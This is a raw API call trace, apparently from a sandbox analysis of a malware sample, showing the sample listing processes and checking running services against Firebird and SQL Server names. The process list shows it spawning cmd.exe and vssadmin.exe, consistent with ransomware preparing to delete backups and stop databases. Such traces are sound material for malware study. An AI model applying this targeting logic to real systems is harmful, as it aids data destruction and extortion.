[0046.399] lstrlenW (lpString="mxslipstream.exe") returned 16 [0046.399] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0046.400] lstrlenW (lpString="omnipos.exe") returned 11 [0046.400] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0046.401] lstrlenW (lpString="spcwin.exe") returned 10 [0046.401] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0046.401] lstrlenW (lpString="spgagentservice.exe") returned 19 [0046.401] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0046.402] lstrlenW (lpString="utg2.exe") returned 8 [0046.402] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="burner.exe")) returned 1 [0046.403] lstrlenW (lpString="burner.exe") returned 10 [0046.403] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0046.403] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0046.404] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0046.404] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0046.404] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0046.405] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0046.405] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0046.405] lstrlenW (lpString="cmd.exe") returned 7 [0046.405] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0046.406] lstrlenW (lpString="conhost.exe") returned 11 [0046.406] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa60, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0046.406] lstrlenW (lpString="vssadmin.exe") returned 12 [0046.406] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0046.407] lstrlenW (lpString="VSSVC.exe") returned 9 [0046.407] Process32NextW (in: hSnapshot=0x200, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0046.408] CloseHandle (hObject=0x200) returned 1 [0046.408] Sleep (dwMilliseconds=0x1f4) [0047.271] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5a00b8 [0047.272] EnumServicesStatusExW (in: hSCManager=0x5a00b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 0 [0047.273] GetLastError () returned 0xea [0047.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13a6) returned 0x3fe7910 [0047.273] EnumServicesStatusExW (in: hSCManager=0x5a00b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3fe7910, cbBufSize=0x13a6, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3fe7910, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 1 [0047.274] CloseServiceHandle (hSCObject=0x5a00b8) returned 1 [0047.274] lstrlenW (lpString="Appinfo") returned 7 [0047.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0047.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0047.274] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0047.274] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0047.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0047.274] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0047.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.274] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0047.274] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0047.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0047.274] lstrlenW (lpString="AudioSrv") returned 8 [0047.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0047.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0047.274] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0047.274] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0047.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0047.274] lstrlenW (lpString="BFE") returned 3 [0047.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0047.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0047.274] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0047.274] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0047.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0047.274] lstrlenW (lpString="CryptSvc") returned 8 [0047.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0047.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0047.275] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0047.275] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0047.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0047.275] lstrlenW (lpString="CscService") returned 10 [0047.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0047.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0047.275] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0047.275] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0047.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0047.275] lstrlenW (lpString="DcomLaunch") returned 10 [0047.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.275] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0047.275] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0047.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0047.275] lstrlenW (lpString="Dhcp") returned 4 [0047.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0047.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0047.275] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0047.275] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0047.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0047.275] lstrlenW (lpString="Dnscache") returned 8 [0047.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0047.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0047.275] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0047.275] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0047.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0047.275] lstrlenW (lpString="DPS") returned 3 [0047.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0047.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0047.275] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0047.275] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0047.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0047.275] lstrlenW (lpString="eventlog") returned 8 [0047.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0047.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0047.276] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0047.276] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0047.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0047.276] lstrlenW (lpString="EventSystem") returned 11 [0047.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0047.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0047.276] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0047.276] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0047.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0047.276] lstrlenW (lpString="FontCache") returned 9 [0047.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0047.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0047.276] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0047.276] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0047.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0047.276] lstrlenW (lpString="gpsvc") returned 5 [0047.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0047.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0047.276] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0047.276] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0047.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0047.276] lstrlenW (lpString="iphlpsvc") returned 8 [0047.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.276] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0047.276] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0047.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0047.276] lstrlenW (lpString="LanmanServer") returned 12 [0047.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0047.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0047.276] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0047.276] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0047.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0047.276] lstrlenW (lpString="LanmanWorkstation") returned 17 [0047.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.277] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0047.277] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0047.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0047.277] lstrlenW (lpString="lmhosts") returned 7 [0047.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0047.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0047.277] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0047.277] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0047.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0047.277] lstrlenW (lpString="MMCSS") returned 5 [0047.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0047.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0047.277] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0047.277] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0047.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0047.277] lstrlenW (lpString="MpsSvc") returned 6 [0047.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0047.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0047.277] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0047.277] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0047.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0047.277] lstrlenW (lpString="Netman") returned 6 [0047.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0047.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0047.277] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0047.277] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0047.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0047.277] lstrlenW (lpString="netprofm") returned 8 [0047.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0047.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0047.277] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0047.277] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0047.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0047.277] lstrlenW (lpString="NlaSvc") returned 6 [0047.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0047.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0047.278] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0047.278] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0047.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0047.278] lstrlenW (lpString="nsi") returned 3 [0047.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0047.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0047.278] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0047.278] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0047.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0047.278] lstrlenW (lpString="PcaSvc") returned 6 [0047.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0047.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0047.278] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0047.278] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0047.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0047.278] lstrlenW (lpString="PlugPlay") returned 8 [0047.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0047.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0047.278] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0047.278] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0047.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0047.278] lstrlenW (lpString="Power") returned 5 [0047.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0047.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0047.278] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0047.278] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0047.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0047.278] lstrlenW (lpString="ProfSvc") returned 7 [0047.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0047.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0047.278] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0047.278] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0047.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0047.279] lstrlenW (lpString="RpcEptMapper") returned 12 [0047.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.279] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0047.279] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0047.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0047.279] lstrlenW (lpString="RpcSs") returned 5 [0047.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0047.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0047.279] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0047.279] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0047.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0047.279] lstrlenW (lpString="SamSs") returned 5 [0047.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0047.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0047.279] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0047.279] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0047.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0047.279] lstrlenW (lpString="Schedule") returned 8 [0047.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0047.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0047.279] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0047.279] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0047.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0047.279] lstrlenW (lpString="SENS") returned 4 [0047.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0047.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0047.279] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0047.279] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0047.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0047.279] lstrlenW (lpString="ShellHWDetection") returned 16 [0047.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.279] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0047.280] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0047.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0047.280] lstrlenW (lpString="Spooler") returned 7 [0047.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0047.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0047.280] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0047.280] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0047.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0047.280] lstrlenW (lpString="sppsvc") returned 6 [0047.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0047.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0047.280] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0047.280] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0047.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0047.280] lstrlenW (lpString="SysMain") returned 7 [0047.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0047.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0047.280] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0047.280] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0047.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0047.280] lstrlenW (lpString="Themes") returned 6 [0047.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0047.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0047.280] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0047.280] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0047.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0047.280] lstrlenW (lpString="TrkWks") returned 6 [0047.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0047.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0047.280] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0047.280] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0047.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0047.280] lstrlenW (lpString="UxSms") returned 5 [0047.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0047.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0047.281] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0047.281] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0047.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0047.281] lstrlenW (lpString="VSS") returned 3 [0047.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0047.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0047.281] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0047.281] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0047.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0047.281] lstrlenW (lpString="WdiServiceHost") returned 14 [0047.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.281] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0047.281] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0047.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0047.281] lstrlenW (lpString="WdiSystemHost") returned 13 [0047.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.281] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0047.281] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0047.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0047.281] lstrlenW (lpString="WinDefend") returned 9 [0047.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0047.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0047.281] lstrcmpiW (lpString1="sqlwriter", 